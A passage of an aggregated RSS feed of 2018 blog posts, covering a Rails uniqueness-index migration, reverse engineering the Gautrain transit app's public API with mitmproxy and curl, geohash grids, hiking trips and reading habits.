  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id="in-conclusion"&gt;In Conclusion&lt;/h1&gt;

&lt;p&gt;You can use this pattern to add a uniqueness constraint to a table that already has duplicate values. This will clean out duplicates, but leave original values, and will prevent additional duplicates from being written to the table.&lt;/p&gt;

&lt;p&gt;In hindsight, this was a relatively straight-forward migration. I had not found any resource online that talked about the process of adding a uniqueness constraint if the table already had data that violated the constraint, so I hope that this write-up might help someone else in a similar spot.&lt;/p&gt;

&lt;h1 id="update-do-not-leave-a-column-without-an-index-at-any-point-in-the-migration"&gt;Update: Do not leave a column without an index at any point in the migration&lt;/h1&gt;

&lt;p&gt;I made a mistake in all this.&lt;/p&gt;

&lt;p&gt;Take a look at what we ran:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;id_array&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="c1"&gt;# I know find_in_batches would normally be a better fit&lt;/span&gt;
  &lt;span class="no"&gt;FavoriteColors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;id: &lt;/span&gt;&lt;span class="n"&gt;id_array&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;delete_all&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="n"&gt;remove_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
&lt;span class="n"&gt;add_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;unique: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;algorithm: :inplace&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See how we &lt;em&gt;remove&lt;/em&gt; an index, then add it?&lt;/p&gt;

&lt;p&gt;This means if the migration fails while adding the new index, and we have to re-run the migration, we’re now executing the query without an index on the &lt;code class="language-plaintext highlighter-rouge"&gt;favorite_colors&lt;/code&gt; column.&lt;/p&gt;

&lt;p&gt;If you’re doing a big ol’ query against a few hundred thousand rows of data, with the index, it’ll take a few seconds. Without the index, it could take… many minutes.&lt;/p&gt;

&lt;p&gt;Here’s what you should do:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;id_array&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="c1"&gt;# I know find_in_batches would normally be a better fit&lt;/span&gt;
  &lt;span class="no"&gt;FavoriteColors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;id: &lt;/span&gt;&lt;span class="n"&gt;id_array&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;delete_all&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="c1"&gt;# rename existing index&lt;/span&gt;
&lt;span class="n"&gt;rename_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors_non_unique&lt;/span&gt;

&lt;span class="c1"&gt;# add the uniqueness index (if we didn't rename the existing index, we'd get an error saying "an index by this name already exists")&lt;/span&gt;
&lt;span class="n"&gt;add_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;unique: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;algorithm: :inplace&lt;/span&gt;

&lt;span class="c1"&gt;# This line won't get run unless the above index has been successfully added. We're removing it by the name we've given it:&lt;/span&gt;
&lt;span class="n"&gt;remove_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors_non_unique&lt;/span&gt;

&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="useful-additional-resources"&gt;Useful additional resources&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://robots.thoughtbot.com/the-perils-of-uniqueness-validations"&gt;The Perils of Uniqueness Validations (Thoughtbot)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://stackoverflow.com/questions/48007376/rails-add-unique"&gt;Rails add unique (StackOverflow question)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://medium.com/@igorkhomenko/rails-make-sure-you-have-proper-db-indexes-for-your-models-unique-validations-ffd0364df26f"&gt;Rails: make sure you have proper DB indexes for your model’s unique validations (Igor Khomenko, Medium)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Fri, 28 Sep 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/add_uniqueness_constraint_on_column_with_existing_duplicates</guid></item><item><title>Solving My Email Problem</title><link>https://blog.nawaz.org/posts/2018/Sep/solving-my-email-problem/</link><description>&lt;p&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Email is not a messaging protocol. It&amp;#8217;s a &lt;span class="caps"&gt;TODO&lt;/span&gt; list. Or at least my
inbox is a &lt;span class="caps"&gt;TODO&lt;/span&gt; list and email is the protocol for putting stuff on
it. Here&amp;#8217;s the problem. It is a s**tty &lt;span class="caps"&gt;TODO&lt;/span&gt; list. Any one of you can
put something on my …&lt;/p&gt;&lt;/blockquote&gt;</description><author>Beetle Space</author><pubDate>Fri, 28 Sep 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.nawaz.org/posts/2018/Sep/solving-my-email-problem/</guid></item><item><title>Minimalist bookmarks</title><link>https://xenodium.com/minimalist-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mnmll.ist"&gt;mnmll.ist: listing all things minimalist&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.raisingsimple.com"&gt;Raising Simple | Streamline your home. Simplify family life (minimalism)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 28 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/minimalist-bookmarks</guid></item><item><title>Creating a grid based on Geohashes</title><link>https://blog.tafkas.net/2018/09/28/creating-a-grid-based-on-geohashes/</link><description>When dealing with geospatial data it is sometimes useful to have a grid at hand that represents the given data. One way to create a grid like this is to use Geohashes. GeoHashes are a hierarchical spatial data structure which subdivides space into buckets of grid shape, which is one of the many applications of what is known as a Z-order curve, and generally space-filling curves. A Geohash is an encoded character string that is computed from geographic coordinates.</description><author>Tafkas Blog</author><pubDate>Fri, 28 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2018/09/28/creating-a-grid-based-on-geohashes/</guid></item><item><title>Stanley Glacier</title><link>https://dustin.lammiman.ca/hikes/stanley-glacier/</link><description>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Length:&lt;/strong&gt; 8.4km (Round Trip)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elevation Gain:&lt;/strong&gt; 365m&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time:&lt;/strong&gt; 3-4 Hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trailhead:&lt;/strong&gt; Stanley Glacier Parking Lot on Highway 93 (&lt;a href="https://goo.gl/maps/T9Bo5pwqk7N2"&gt;map&lt;/a&gt;). Note: the parking lot fills up fast. Go early, or you may need to park along the side of the highway.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type:&lt;/strong&gt; Out &amp;amp; Back&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rating:&lt;/strong&gt; Moderate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some hikes are all about the beautiful view at the destination, but with Stanley Glacier you enjoy beautiful and changing scenery for the duration of the hike. You will climb towards the toe of Stanley Glacier as you travel alongside a waterfall and the burned but beautiful remnants of a forest fire.&lt;/p&gt;</description><author>Dustin.Lammiman</author><pubDate>Thu, 27 Sep 2018 19:46:10 GMT</pubDate><guid isPermaLink="true">https://dustin.lammiman.ca/hikes/stanley-glacier/</guid></item><item><title>stop and remove all docker containers</title><link>https://yasha.solutions/stop-and-remove-all-docker-containers/</link><description>Simple.
You can make an alias and it to your bash profile :</description><author>Yasha Solutions</author><pubDate>Thu, 27 Sep 2018 14:59:33 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/stop-and-remove-all-docker-containers/</guid></item><item><title>Lettura di fatture elettroniche con firma digitale in .NET (.p7m)</title><link>https://nicolaiarocci.com/lettura-di-fatture-elettroniche-con-firma-digitale-in-.net-.p7m/</link><description>&lt;blockquote&gt;
&lt;p&gt;Sorry folks. Because of its target audience, this post is in Italian.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Ho appena rilasciato &lt;a href="https://github.com/FatturaElettronica/FatturaElettronica.Extensions"&gt;FatturaElettronica.Extensions&lt;/a&gt;. Si tratta di un package che
estende &lt;a href="https://github.com/FatturaElettronica/FatturaElettronica.NET"&gt;FatturaElettronica.NET&lt;/a&gt; aggiungendo (per ora) un solo extension method:
&lt;code&gt;ReadXmlSigned&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Il metodo si affianca all&amp;rsquo;esistente &lt;code&gt;ReadXml&lt;/code&gt; ed accetta un file in formato
standard fattura elettronica già firmato digitalmente (estensione .p7m), lo
legge, verifica che le firme siano valide, quindi lo carica in un oggetto
&lt;code&gt;FatturaElettronica&lt;/code&gt; che lo rappresenta interamente:&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 27 Sep 2018 12:23:25 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/lettura-di-fatture-elettroniche-con-firma-digitale-in-.net-.p7m/</guid></item><item><title>Gautrain API reverse engineering</title><link>http://negfeedback.blogspot.com/2018/09/gautrain-app-reverse-engineering.html</link><description>&lt;h1 id="gautrain-api-reverse-engineering"&gt;
Gautrain API reverse engineering&lt;/h1&gt;
The iOS 12 update contained a very cool feature: Siri Shortcuts. This replaces the Workflows app. I was using Workflows to send my wife an SMS with my estimated time of arrival at home when I left work. With the new Shortcuts app I could have this all happen automatically, and it also supports reading from Web APIs.&lt;br /&gt;
The first part, however, is to figure out how to get data from the Gautrain website.&lt;br /&gt;
&lt;h2 id="mitmproxy"&gt;
mitmproxy&lt;/h2&gt;
&lt;a href="https://www.blogger.com/blogger.g?blogID=7479095831591011602"&gt;mitmproxy&lt;/a&gt; or Man In The Middle Proxy is a piece of software you can run on your computer which will stand between a device and the internet and allow you to inspect what is going on. I might cover installation in another post, but basically I just followed instructions to get it going and then fired up the Gautrain app to see what it was doing.&lt;br /&gt;
&lt;h2 id="sequence-of-events-with-gautrain-app"&gt;
Sequence of events with Gautrain App&lt;/h2&gt;
First endpoint to check service is live&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;https://api.gautrain.co.za/user-service/api/0/mobile/isLive/1.0.0&lt;/code&gt;&lt;/pre&gt;
Returns &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;br /&gt;
The app then hits&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;https://api.gautrain.co.za/transport-api/api/0/agencies&lt;/code&gt;&lt;/pre&gt;
And gets a whole list of agencies, including this one:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;[
....
{
        "culture": "en",
        "description": null,
        "href": "https://platform.whereismytransport.com/api/agencies/edObkk6o-0WN3tNZBLqKPg",
        "id": "edObkk6o-0WN3tNZBLqKPg",
        "name": "Gautrain"
},
...
]&lt;/code&gt;&lt;/pre&gt;
The important part here is &lt;code&gt;"name": "Gautrain"&lt;/code&gt; and that &lt;code&gt;id&lt;/code&gt; which is used later.&lt;br /&gt;
Also interesting is that they are clearly using &lt;a class="uri" href="https://www.blogger.com/whereismytransport.com"&gt;whereismytransport.com&lt;/a&gt;, which is the first time I've heard of this service.&lt;br /&gt;
The app then asks ask for a list of stops:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;https://api.gautrain.co.za/transport-api/api/0/stops/gautrain&lt;/code&gt;&lt;/pre&gt;
The response is a list of stops like this one:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;[
...
{
    "agency": {
        "culture": "en",
        "description": null,
        "href": "https://platform.whereismytransport.com/api/agencies/edObkk6o-0WN3tNZBLqKPg",
        "id": "edObkk6o-0WN3tNZBLqKPg",
        "name": "Gautrain"
    },
    "code": null,
    "geometry": {
        "coordinates": [
            28.23794,
            -25.74762
        ],
        "type": "Point"
    },
    "href": "https://platform.whereismytransport.com/api/stops/_rkqSHvRE0Scvbcsuy0EVw",
    "id": "_rkqSHvRE0Scvbcsuy0EVw",
    "modes": [
        "Rail",
        "Bus"
    ],
    "name": "Hatfield"
},
...
    {
    "agency": {
        "culture": "en",
        "description": null,
        "href": "https://platform.whereismytransport.com/api/agencies/edObkk6o-0WN3tNZBLqKPg",
        "id": "edObkk6o-0WN3tNZBLqKPg",
        "name": "Gautrain"
    },
    "code": null,
    "geometry": {
        "coordinates": [
            28.05693,
            -26.10858
        ],
        "type": "Point"
    },
    "href": "https://platform.whereismytransport.com/api/stops/jXU-OlvxukW8wfc7JeVeXw",
    "id": "jXU-OlvxukW8wfc7JeVeXw",
    "modes": [
        "Rail",
        "Bus"
    ],
    "name": "Sandton"
}
...
]&lt;/code&gt;&lt;/pre&gt;
I've kept the important ones for me - I'm going from Hatfield to Sandton and back, so I need those coordinates.&lt;br /&gt;
Right, so the next thing they hit is&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;https://api.gautrain.co.za/transport-api/api/0/journey/create&lt;/code&gt;&lt;/pre&gt;
This is the first request which has parameters. You can see that they are using the coordinates for Hatfield station and Sandton station as the start and end points.&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;{
    "geometry": {
        "coordinates": [
            [
                28.23794,
                -25.74762
            ],
            [
                28.05693,
                -26.10858
            ]
        ],
        "type": "MultiPoint"
    },
    "maxItineraries": 5,
    "omit": {
        "agencies": [
            "A1JHSPIg_kWV5XRHIepCLw",
            "CA3o3RuuGUmoDKfyAPNTsg",
            "NfBxKfzMA0exbwToc-7o2g",
            "XxDwxnin_Eu_T7_wBJIJRA",
            "Hwe1673sC0yuT6fyANnDZQ",
            "DcXaTl-5hkGRHKenAIi_5w",
            "WaasqFZwEEa5VqbIAJKsJQ",
            "wZfSY3o0LUGHiqeoAQDeIQ",
            "W7A63uTwIECgQvU9MxcCIw",
            "Ka2d4V1g3E65VqheANhvVw",
            "FTGTH38Tm0C5O6gAAQifSQ"
        ],
        "modes": []
    },
    "only": {
        "agencies": [
            "edObkk6o-0WN3tNZBLqKPg"
        ],
        "modes": []
    },
    "profile": "ClosestToTime",
    "time": null,
    "timeType": "DepartAfter"
}&lt;/code&gt;&lt;/pre&gt;
So that list of agencies to omit is obviously from the original request. I'm hoping I don't need that. For my purposes I just need to know when the next train will arrive and how long it will take to get to the destination.&lt;br /&gt;
The response from this request is quite huge, but the first bit shows the important parts:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;{
    "agencies": null,
    "earliestDepartureTime": null,
    "geometry": {
        "coordinates": [
            [
                28.23794,
                -25.74762
            ],
            [
                28.05693,
                -26.10858
            ]
        ],
        "type": "MultiPoint"
    },
    "href": "https://platform.whereismytransport.com/api/journeys/ZPtEXRtgeEq1mqljAE4new",
    "id": "ZPtEXRtgeEq1mqljAE4new",
    "itineraries": [
        {
            "arrivalTime": "2018-09-22T05:29:52Z",
            "departureTime": "2018-09-22T04:56:20Z",
            "distance": {
                "unit": "m",
                "value": 51662
            },
            "duration": 2012,
    ...
    Lots more output&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="so-when-is-the-next-train"&gt;
So when is the next train?&lt;/h2&gt;
I'm only really interested in when the next train will arrive at Sandton and I don't want to type all that stuff into a mobile app, I want a minimal version.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Further investigation yields the simplified request:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;{"geometry":
 {"coordinates":
  [[28.23794,-25.74762],
  [28.05693,-26.10858]],
  "type":"MultiPoint"},
  "profile":"ClosestToTime",
  "maxItineraries"5,
  "timeType":"DepartAfter",
  "time":null,
  "only":{"agencies":["edObkk6o-0WN3tNZBLqKPg"],
  "modes":[]}}&lt;/code&gt;&lt;/pre&gt;
This is something I can put into the automation app eally easily. More info on that to follow.&lt;br /&gt;
For posterity, this is that call being checked via curl:&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;curl -d '{"geometry":{"coordinates":[[28.23794,-25.74762],[28.05693,-26.10858]],"type":"MultiPoint"},"profile":"ClosestToTime","maxItineraries":5,"timeType":"DepartAfter","only":{"agencies":["edObkk6o-0WN3tNZBLqKPg"]}}' -H "Content-Type: application/json" -X POST https://api.gautrain.co.za/transport-api/api/0/journey/create&lt;/code&gt;&lt;/pre&gt;
Guess it's also time to create an account at whereismytransport.com!</description><author>Negative Feedback</author><pubDate>Wed, 26 Sep 2018 16:19:18 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2018/09/gautrain-app-reverse-engineering.html</guid></item><item><title>Sign Into Gmail Without Signing Into Google Chrome</title><link>https://www.mattcrampton.com/blog/sign-into-gmail-without-signing-into-google-chrome/</link><description>Sign Into Gmail Without Signing Into Google Chrome Unfortunately, Google has made changes to Chrome since this blog post was posted which removed the options noted below. Sorry :( I'll update the blog post if I find another way. Recently, Google released an update to Google Chrome that effectively forces you to sign into the Google Chrome browser when you sign in to your Gmail account. If you're like me and either use multiple google accounts for different purposes or just dont like Google looking all your browsing history against your gmail account, this update is problematic. And I'm not alone in thinking so, see a few recent articles complaining about the new update... Google to give Chrome users an opt-out to ‘forced login’ after privacy backlash Why experts are freaking out over the new way Google Chrome sign-in works Google’s Forced Sign-in to Chrome Raises Privacy Red Flags To de-couple the login of your Gmail account and your Google Chrome login status requires digging into ...</description><author>MattCrampton.com</author><pubDate>Wed, 26 Sep 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mattcrampton.com/blog/sign-into-gmail-without-signing-into-google-chrome/</guid></item><item><title>Networking Essentials: DNS</title><link>https://www.swyx.io/networking-essentials-dns-1dl7</link><description>&lt;p&gt;Domain names, you buy them, you sell them, but how do they work?&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 26 Sep 2018 07:12:12 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-dns-1dl7</guid></item><item><title>Networking Essentials: Router Design</title><link>https://www.swyx.io/networking-essentials-router-design-ahc</link><description>&lt;p&gt;A small detour into Router Hardware!&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 26 Sep 2018 06:33:05 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-router-design-ahc</guid></item><item><title>It's 2018 already!</title><link>https://ericonotes.blogspot.com/2018/09/its-2018-already.html</link><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVTWOQXvRmGju5ozhTPaK14EkPcZlZXXZlq66pGm8PRtbWovPjWcOZc0vrVChQyhc9ryXDHm2ub0V7ghnj3BDmGdll3rSTmXUkwe332CctoijW2X1H8pp36LqNmBs8DOt9Fu_Q2Pb4iWx0/s1600/P_20180813_111810_vHDR_On.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVTWOQXvRmGju5ozhTPaK14EkPcZlZXXZlq66pGm8PRtbWovPjWcOZc0vrVChQyhc9ryXDHm2ub0V7ghnj3BDmGdll3rSTmXUkwe332CctoijW2X1H8pp36LqNmBs8DOt9Fu_Q2Pb4iWx0/s400/P_20180813_111810_vHDR_On.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
So 2016 passed, and then 2017 and it's now 2018. Life just goes faster the older you get... Time for some updates.&lt;/div&gt;
&lt;h3&gt;
update time!&lt;/h3&gt;
&lt;div&gt;
So I decided to give a pause on A Glass of Lores - starting out building a full blown RPG and engine as my first project maybe wasn't very smart. The story keeps refining slowly on my Google docs... But, cool thing. I started to make a new game! And I am NOT making an engine this time.&lt;/div&gt;
&lt;div&gt;
This game is&amp;nbsp;&lt;a href="https://www.futureflashbackgame.com/" target="_blank"&gt;Future Flashback&lt;/a&gt;&amp;nbsp;and I've been screaming a lot about it on social networks, so if you never heard about it, please click through the website, there is a lot of material there.&lt;/div&gt;
&lt;div&gt;
I usually throw a single thing I made or some instruction here, but instead I will just flow through some things...
&lt;/div&gt;
&lt;h3&gt;
book I've read: Driving Results through Social Networks by Robert J Thomas&lt;/h3&gt;
&lt;div&gt;
It states the need to align the culture of an organisation with its business strategy, and the importance of finding the influencers in the company social network. It also presents the hypothesis that innovation usually arrives from teams instead of a single person, so to favour innovation you have to have more teams, and offer the idea that if people in the organisation can have more connections, you have a bigger flow of ideas that are possible to come to fruition - you need a multitude of disciplines to generate good profitable innovation.&lt;/div&gt;
&lt;div&gt;
Also the network will have people working against innovation, which is important to take note. Also a risk is presented when a single person gets too many connections but accepts all incoming demands, becoming a bottleneck in the network. One interesting passage attribute the managers the work of exception-handlers, and so the less exceptions and more routines the organisation encounters, less managers will be necessary.&lt;/div&gt;
&lt;h3&gt;
Creepy writing&lt;/h3&gt;
&lt;div&gt;
Some years ago, I've read&amp;nbsp;&lt;a href="https://www.amazon.com/Writing-Ethnographic-Fieldnotes-Chicago-Publishing/dp/0226206831" target="_blank"&gt;Writing Ethnographic Fieldnotes&lt;/a&gt;&amp;nbsp;, which talks about writing fieldnotes from observed behaviours, experiences and interactions with people and between people. I found this a good hobby for when I am alone travelling, eating and only have my phone, so I take the opportunity to write about some relation I see around me. My Google Docs file where I write this is called Everyday Scenes. Here is an excerpt:&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;blockquote class="tr_bq"&gt;
The woman waits patiently. Sit shrunked in her chair, she swipes throgh group conversations in her phone. The man she was waiting appears, and sits besides here. She doesn't realize he is there until he touches her neck. She breaks from her phone. From their gestures, they appear late to the cinema, and they rush on the movies direction. They looked very happy.&lt;/blockquote&gt;
&lt;h3&gt;
Coding things&lt;/h3&gt;
&lt;div&gt;
Future Flashback is made in &lt;a href="http://www.adventuregamestudio.co.uk/" target="_blank"&gt;Adventure Game Studio&lt;/a&gt;, so lots of recently things have been AGS related. You can skim through either &lt;a href="https://github.com/ericoporto" target="_blank"&gt;my github profile&lt;/a&gt; or my brand new &lt;a href="https://ericoporto.github.io/" target="_blank"&gt;portfolio page&lt;/a&gt;. That page is made using Jekyll, I used a prebuilt theme and just customised some details, which is why I was able to create it in a weekend.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I want to write more here! Hopefully before 2019!&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Erico Notes</author><pubDate>Wed, 26 Sep 2018 05:43:44 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2018/09/its-2018-already.html</guid></item><item><title>Why (and how) to read books</title><link>http://notes.eatonphil.com/why-and-how-to-read-books.html</link><description>&lt;p&gt;The last time I read for fun was in elementary school. Since college I
knew I must read more, but I never forced myself to build the
habit. Then three years ago I spent time around my brother and a
coworker who were avid readers. This "peer pressure" helped me get
started.&lt;/p&gt;
&lt;p&gt;Since I started, I've seen concrete improvements in vocabulary. I find
myself using words I didn't know I knew. I question my choice of words
more. And I understand coworkers a little better. Perhaps it is only
personal style, but I've also become more aware of hyperbole in my
speech and have begun to tone that down.&lt;/p&gt;
&lt;p&gt;Specifically, books provide more density of information than I can
pull together myself. I've also benefited heavily from reading books
on tools I use daily. Contrary to being boring, a book on a topic with
which I'm familiar has been a (often needed) break from books on
topics with which I am unfamiliar. The former category might include
books on CSS, Bash, Emacs, Python, Scheme, data modeling,
Linux/FreeBSD system administration, mystery novels, and so on. The
latter category might include books on Common Lisp, system
architecture, the implementation of Linux/FreeBSD, behavioral
psychology, management, stock/bond markets, the history of
Argentina/Chile/South Korea/Japan, sci-fi novels, and so on.&lt;/p&gt;
&lt;p&gt;Reading diversely exposes how little I know. And that can be
depressing. But I'm fairly confident reading books is the fastest way
to grow.&lt;/p&gt;
&lt;p&gt;Tactically speaking, I started slowly with few books and the ones
easiest for me to read. The first year I read two books, both
technical. The second year I read nine books and was able to start
branching out beyond technical books. Last year I read a much more
diverse set of forty books. And this year I followed suit with
forty-one so far (on track for fifty-five or so).&lt;/p&gt;
&lt;p&gt;I keep track of books I'm reading and books I want to read in
&lt;a href="https://www.goodreads.com/eatonphil"&gt;Goodreads&lt;/a&gt;. I particularly enjoy
their reading challenge system that lets you know if you are on track
to meet your reading goal for the year.&lt;/p&gt;</description><author>Notes on software development</author><pubDate>Wed, 26 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/why-and-how-to-read-books.html</guid></item><item><title>Kernel Recipes 2018 liveblog</title><link>https://anisse.astier.eu/recipes-conferences-2018.html</link><description>&lt;p&gt;I had a lot of good feedback from the &lt;a href="kernel-recipes-2017-day-1"&gt;previous&lt;/a&gt; &lt;a href="kernel-recipes-2016-notes.html"&gt;years&lt;/a&gt; live-blogs of the Embedded and Kernel Recipes conferences. So much in fact, that this year I'm now doing the liveblog &lt;a href="https://kernel-recipes.org/en/2018/live-blog/"&gt;directly on the official website of kernel recipes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I hope you enjoy it !&lt;/p&gt;
&lt;p&gt;I also live-tweeted my impressions of …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Wed, 26 Sep 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/recipes-conferences-2018.html</guid></item><item><title>Warehouse locations with k-means</title><link>https://bytepawn.com/warehouse-locations-with-kmeans.html</link><description>&lt;p&gt;Sometimes, the seven gods of data science, Pascal, Gauss, Bayes, Poisson, Markov, Shannon  and Fisher, all wake up in a good mood, and things just work out. Recently we had such an occurence at Fetchr, when the Operational Excellence team posed the following question: &lt;i&gt;if we could pick our Saudi warehouse locations, where would be put them? What is the ideal number of warehouses, and, what does ideal even mean? Also, what should our “delivery radius” be?&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="." src="/images/pickup_locations_riyadh.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Wed, 26 Sep 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/warehouse-locations-with-kmeans.html</guid></item><item><title>The Swiss Far West and GPX fun</title><link>https://heitorpb.github.io/bla/swissfarwest/</link><description>GPX fun in Python.</description><author>Heitor's log</author><pubDate>Tue, 25 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://heitorpb.github.io/bla/swissfarwest/</guid></item><item><title>Summer Haute Route - Part 8: Trient and back to Champex</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-8-trient-champex/</link><description>&lt;h1&gt;Our hike concludes, back at Champex.&lt;/h1&gt;&lt;p&gt;The trail wound on, up into the hills once again for the last leg. To Trient, then down into the valley where we returned to the beautiful Lac Champex. This ends a magnificent 21 day hike from Zermatt to Chamonix and all the way round Mont Blanc. I've seen beautiful mountains all over the world, but nothing beats the European Alps for charm.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551217772/IMG_4808.jpg" /&gt;&lt;/p&gt;
